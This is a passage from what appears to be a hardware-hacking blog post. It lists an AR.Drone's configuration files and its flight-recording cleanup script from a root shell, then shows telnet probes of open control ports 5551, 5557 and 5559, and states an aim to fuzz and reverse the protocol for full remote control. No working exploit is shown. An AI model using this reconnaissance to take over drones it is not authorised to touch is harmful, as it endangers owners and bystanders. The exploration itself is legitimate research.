# ls profiles/config.9ab1ddb4.ini
profiles/config.9ab1ddb4.ini
# cat profiles/config.9ab1ddb4.ini

[control]
euler_angle_max = 2.0943952e-01
control_iphone_tilt = 3.4906584e-01
control_vz_max = 7.0000000e+02
control_yaw = 1.7453293e+00
manual_trim = FALSE
indoor_euler_angle_max = 2.0943952e-01
indoor_control_vz_max = 7.0000000e+02
indoor_control_yaw = 1.7453293e+00
outdoor_euler_angle_max = 3.4906584e-01
outdoor_control_vz_max = 1.0000000e+03
outdoor_control_yaw = 3.4906585e+00
travelling_mode = 0,10,1500,0,1000

[custom]
profile_desc = .iPod touch:c08d924ed58b5a73a65db20ea502f95f

#
# ls
applis profiles sessions
# ls profiles/
config.4d179846.ini config.9ab1ddb4.ini
# ls sessions/
config.0ad3ab93.ini
# cat sessions/config.0ad3ab93.ini

[control]
flying_mode = 0
hovering_range = 1000


codec_fps = 20
video_codec = 64
video_slices = 0
video_live_socket = 0
max_bitrate = 1000
video_channel = 0

[detect]
groundstripe_colors = 16
detect_type = 3
detections_select_h = 0
detections_select_v_hsync = 0
detections_select_v = 0

[userbox]
userbox_cmd = 1,20120512_000339

[gps]
latitude = 5.0000000000000000e+02
longitude = 5.0000000000000000e+02
altitude = 0.0000000000000000e+00

[custom]
application_id = efc8fd84
profile_id = 4d179846
session_id = 0ad3ab93
session_desc = Session 0ad3ab93

#
# cat /bin/memory_check.sh
#!/bin/sh

cd /data/video/boxes
for i in `find ./ -name "tmp_flight_*" -print | sed -e "s@\.\/\([a-zA-Z0-9]*\)@\1@"` ;
do
echo "temporary flight found : $i"
repairBoxes `ls $i/userbox*`
if [ $? -ne 0 ] ; then
echo "userbox : Can’t repair $i"
rm -Rf $i
fi
done
cd –

while [ 1 ]
do
if [ -d /data/video/boxes ] ; then
size=`du -m -s /data/video/boxes/ | xargs | cut -d’ ‘ -f1`
if [ $size -ge 40 ]; then
echo "userbox : size exceed $size Mo."
flight=`ls /data/video/boxes/ | grep ^flight_ | head -n 1`
rm -Rf /data/video/boxes/$flight
sleep 1
else
sleep 10
fi
else
sleep 10
fi
done
#
#

[/text]

Now, lets explore some interesting ports found during the initial nmap scan. For sure, the ports 555X are used to control the device and to transmit the AR-Drone’s video camera data.

[text]
ttys1@watergate:~$ telnet 192.168.1.1 5551
Trying 192.168.1.1…
Connected to 192.168.1.1.
Escape character is ‘^]’.
220 Operation successful
^C
Terminado (killed)
[/text]

Now, time for the port 5557

[text]
ttys1@watergate:~$ telnet 192.168.1.1 5557
Trying 192.168.1.1…
Connected to 192.168.1.1.
Escape character is ‘^]’.
asdsad
help

get /

^C

^C

Terminado (killed)
[/text]

A dumb connection to the 5559 port shows …

[text]
ttys1@watergate:~$ telnet 192.168.1.1 5559
Trying 192.168.1.1…
Connected to 192.168.1.1.
Escape character is ‘^]’.

get /

asd

asd
djkasdfhkjsadhfkjsadhf
asdfsadfasfasdfsadfasdfasdf

3

sa
df
sadf
asdfasfdsadf

^C
^[[Terminado (killed)
[/text]

In the future, I will like to fuzz the 555x ports and study some packet captures I did between the iPhone and the AR-Drone; I would like to reverse the protocol and try to get full control of the device remotely ;-D

Happy hacking!

Published inembeddedhacking